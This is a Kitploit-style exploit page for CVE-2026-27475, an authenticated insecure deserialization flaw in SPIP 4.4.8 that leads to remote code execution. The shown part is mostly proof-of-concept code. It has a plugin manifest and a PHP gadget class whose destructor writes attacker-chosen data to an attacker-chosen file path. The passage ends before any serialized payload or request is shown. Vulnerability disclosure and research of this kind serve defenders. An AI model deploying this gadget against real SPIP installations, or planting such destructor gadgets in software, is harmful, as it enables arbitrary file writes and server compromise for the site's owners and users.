CVE-2026-27475 — Proof-of-concept exploit for CVE-2026-27475, an authenticated insecure deserialization vulnerability in SPIP 4.4.8 leading to remote code execution. | Kitploit

Share

CVE-2026-27475 (CVSS-B 9.2 CRITICAL)

Authenticated Insecure Deserialization in SPIP 4.4.8

> Explanations and more on my website <

PoC

In order to trigger an RCE, you need a vulnerable plugin. I crafted a quick one.

Create these files : plugins/rce_gadget/paquet.xml

<paquet
    prefix="rce_gadget"
    categorie="outil"
    version="1.0.0"
    etat="test"
    compatibilite="[4.0.0;4.*.*]"
>
    <nom>RCE Gadget</nom>
    <auteur>Attacker</auteur>
</paquet>

plugins/rce_gadget/rce_gadget_options.php

<?php
class ExploitGadget {
    public $file;
    public $data;
    public function __destruct() {
        echo "<pre>DEBUG:\n";
        echo "File: "; var_dump($this->file);
        echo "Data: "; var_dump($this->data);
        echo "</pre>";
        file_put_contents($this->file, $this->data);
        die("PROOF");
    }
}